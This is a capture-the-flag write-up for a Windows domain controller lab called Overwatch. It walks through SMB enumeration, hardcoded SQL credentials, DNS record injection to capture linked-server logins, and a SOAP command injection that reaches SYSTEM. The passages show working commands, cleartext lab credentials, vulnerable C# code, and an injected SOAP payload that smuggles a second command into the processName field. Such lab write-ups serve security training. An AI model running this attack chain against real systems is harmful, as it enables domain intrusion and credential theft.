Overwatch is a medium Windows machine that starts with a read-only access to the software$ SMB share as guest, and downloading an overwatch.exe binary that contained harcoded credentials for the sqlsvc account. This service account gave us access to the MSSQL service on port 6520 that is linked to an SQL07 server. Since SQL07 could not be resolved to a domain, we were able to add a DNS record for it pointing to our SMB listener, and capture the logon credentials through a remote query from the MSSQL server on the DC. We used the captured sqlmgmt credentials to get a PsRemote access to the DC. The overwatch.exe.config file within the DC revealed a monitoring service running on port 8000, and exposing a WSDL service. This service used a KillProcess operation that accepted unsanitized user input within the ProcessName passed directly to the Stop-Process command. This led to command execution and privilege escalation to SYSTEM within the DC.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PORT      STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-07 14:34:18Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6520/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
56216/tcp open tcpwrapped
57411/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
57412/tcp open msrpc Microsoft Windows RPC
58733/tcp open msrpc Microsoft Windows RPC
58767/tcp open tcpwrapped
58788/tcp open tcpwrapped
58810/tcp open tcpwrapped

We can see from the scan result, that the MSSQL service is running on port 6520, but we need to have credentials in order to access it.

Enumerating the SMB shares available on the DC, we could see software$ that is accessible as guest as READ-only:

1
2
3
4
5
6
7
8
9
10
11
12
$ nxc smb S200401.overwatch.htb -u 'guest' -p '' --shares 
SMB 10.129.244.81 445 S200401 [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.244.81 445 S200401 [+] overwatch.htb\guest:
SMB 10.129.244.81 445 S200401 [*] Enumerated shares
SMB 10.129.244.81 445 S200401 Share Permissions Remark
SMB 10.129.244.81 445 S200401 ----- ----------- ------
SMB 10.129.244.81 445 S200401 ADMIN$ Remote Admin
SMB 10.129.244.81 445 S200401 C$ Default share
SMB 10.129.244.81 445 S200401 IPC$ READ Remote IPC
SMB 10.129.244.81 445 S200401 NETLOGON Logon server share
SMB 10.129.244.81 445 S200401 software$ READ
SMB 10.129.244.81 445 S200401 SYSVOL Logon server share

From the following software$ share, we could see many DLL files inside the Monitoring subdirectory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# ls
drw-rw-rw- 0 Tue Jan 6 06:25:34 2026 .
drw-rw-rw- 0 Tue Jan 6 06:25:34 2026 ..
-rw-rw-rw- 4991352 Tue Jan 6 06:25:34 2026 EntityFramework.dll
-rw-rw-rw- 591752 Tue Jan 6 06:25:34 2026 EntityFramework.SqlServer.dll
-rw-rw-rw- 163193 Tue Jan 6 06:25:34 2026 EntityFramework.SqlServer.xml
-rw-rw-rw- 3738289 Tue Jan 6 06:25:34 2026 EntityFramework.xml
-rw-rw-rw- 36864 Tue Jan 6 06:25:34 2026 Microsoft.Management.Infrastructure.dll
-rw-rw-rw- 9728 Tue Jan 6 06:25:34 2026 overwatch.exe
-rw-rw-rw- 2163 Tue Jan 6 06:25:34 2026 overwatch.exe.config
-rw-rw-rw- 30208 Tue Jan 6 06:25:34 2026 overwatch.pdb
-rw-rw-rw- 450232 Tue Jan 6 06:25:34 2026 System.Data.SQLite.dll
-rw-rw-rw- 206520 Tue Jan 6 06:25:34 2026 System.Data.SQLite.EF6.dll
-rw-rw-rw- 206520 Tue Jan 6 06:25:34 2026 System.Data.SQLite.Linq.dll
-rw-rw-rw- 1245480 Tue Jan 6 06:25:34 2026 System.Data.SQLite.xml
-rw-rw-rw- 360448 Tue Jan 6 06:25:34 2026 System.Management.Automation.dll
-rw-rw-rw- 7145771 Tue Jan 6 06:25:34 2026 System.Management.Automation.xml
drw-rw-rw- 0 Tue Jan 6 06:25:34 2026 x64
drw-rw-rw- 0 Tue Jan 6 06:25:34 2026 x86

After downloading the files locally, we tried executing the overwatch.exe binary to understand its purpose, and stumbled upon a URL that it uses :8000/MonitorService

1
2
3
4
5
6
7
8
PS>.\overwatch.exe

Unhandled Exception: System.ServiceModel.AddressAccessDeniedException: HTTP could not register URL http://+:8000/MonitorService/. Your process does not have access rights to this namespace (see http://go.microsoft.com/fwlink/?LinkId=70353 for details). ---> System.Net.HttpListenerException: Access is denied
at System.Net.HttpListener.AddAllPrefixes()
at System.Net.HttpListener.Start()
<SNIP>
at Program.Main(String[] args) in C:\Users\Administrator\source\repos\overwatch\overwatch\Program.cs:line 13
<SNIP>

Since the previous executable did not give additional useful information on the next steps, we used dotPeek on a Windows VM to load and decompile the overwatch.exe binary and its associated DLLs:

Opening the MonitoringService class, we found the following hardcoded credentials part of the connectionString used to authenticate to the SQL service:

1
private readonly string connectionString = "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;";

Using the credentials of the sqlsvc service account, we were able to authenticate to the MSSQL service on port 6520:

1
$ impacket-mssqlclient -p 6520 sqlsvc:'TI0LKcfHzZw1Vv'@10.129.244.81 -windows-auth

After inspecting the available DBs, we did not find anything useful at first. However, we then found a linked server SQL07:

1
2
3
4
5
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> SELECT srvname, isremote FROM sysservers;
srvname isremote
------------------ --------
S200401\SQLEXPRESS 1
SQL07 0

Since there was no possible resolution of the SQL07 domain and we had a valid domain account, we used it in order to add the SQL07 A record pointing to our attacker’s machine IP:

1
2
3
4
5
6
$ python3 krbrelayx/dnstool.py -u 'overwatch.htb\sqlsvc' -p 'TI0LKcfHzZw1Vv' --record 'SQL07' -a add -d '10.10.14.216' -dns-ip '10.129.244.81' --zone 'overwatch.htb' S200401.overwatch.htb 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

We could also check that the new record was added through the query action instead:

1
2
3
4
5
6
7
8
9
$ python3 krbrelayx/dnstool.py -u 'overwatch.htb\sqlsvc' -p 'TI0LKcfHzZw1Vv' --record 'SQL07' --action query S200401.overwatch.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found record SQL07
DC=SQL07,DC=overwatch.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=overwatch,DC=htb
[+] Record entry:
- Type: 1 (A) (Serial: 229)
- Address: 10.10.14.216

Now that the DNS record for SQL07 linked server was added, we could chain an EXEC query to the linked server as follows: SQL (OVERWATCH\sqlsvc guest@master)> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [SQL07] with responder listening to incoming connections to capture the transferred credentials from S200401.overwatch.htb MSSQL DB:

1
2
3
4
[MSSQL] Cleartext Client   : 10.129.244.81
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

Looking through bloodhound output, we could see that sqlmgmt is part of Remote Management Users, letting us get a shell into the machine through the winRM service.

1
2
3
$ nxc winrm S200401.overwatch.htb -u 'sqlmgmt' -p 'bIhBbzMMnB82yx' 
WINRM 10.129.244.81 5985 S200401 [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb)
WINRM 10.129.244.81 5985 S200401 [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx (Pwn3d!)

After getting the foothold on the DC and retrieving the user flag, we started the local directories for any privesc vector but did not find any of interest.
Therefore, we used ligolo to forward local ports to our local attacker’s machine, since the port 8000 exposes a monitoring service based on overwatch.exe.config configuration file:

1
2
3
4
5
6
7
<SNIP>
<service name="MonitoringService">
<host>
<baseAddresses>
<add baseAddress="http://overwatch.htb:8000/MonitorService" />
</baseAddresses>
<SNIP>

After performing port forwarding, we were able to access that URL on http://240.0.0.1:8000/MonitorService

Inspecting the webpage for the WSDL service on http://overwatch.htb:8000/MonitorService?wsdl returns the available operations:
The KillProcess operation was interesting as it required a user input for the ProcessName parameter which was not sanitized and passed directly for command execution as SYSTEM:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<xs:element name="KillProcess">
<xs:complexType>
<xs:sequence>
<xs:element minOccurs="0" name="processName" nillable="true" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element>
<xs:element name="KillProcessResponse">
<xs:complexType>
<xs:sequence>
<xs:element minOccurs="0" name="KillProcessResult" nillable="true" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element>

Furthermore, checking the source code for KillProcess method inside the ServiceMonitoring class confirmed the presence of a command injection vulnerability on that parameter passed to the pipeline.Commands.AddScript function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public string KillProcess(string processName)
{
string scriptContents = $"Stop-Process -Name {processName} -Force";
try
{
using (Runspace runspace = RunspaceFactory.CreateRunspace())
{
runspace.Open();
using (Pipeline pipeline = runspace.CreatePipeline())
{
pipeline.Commands.AddScript(scriptContents);
pipeline.Commands.Add("Out-String");
Collection<PSObject> collection = pipeline.Invoke();
runspace.Close();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject psObject in collection)
stringBuilder.AppendLine(psObject.ToString());
return stringBuilder.ToString();
}
}
}
catch (Exception ex)
{
return "Error: " + ex.Message;
}
}

To exploit that vulnerability, we passed the request to WSDLER (extension from bApp Store), and added an injection expression notepad;ls C:\Users\Administrator which returned the Administrator’s folder content:

That way we were able to extract the root flag from the Administrator’s folder:

1
2
3
4
5
6
7
8
9
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:KillProcess>
<!--type: string-->
<tem:processName>notepad;type C:\Users\Administrator\Desktop\root.txt</tem:processName>
</tem:KillProcess>
</soapenv:Body>
</soapenv:Envelope>

To get a reverse shell, we had to actually comment the rest of the command that was appended -Force by commenting it ;#

And we get our reverse shell on the machine as SYSTEM

1
2
3
4
PS C:\Software\Monitoring> whoami;hostname
nt authority\system
S200401
PS C:\Software\Monitoring>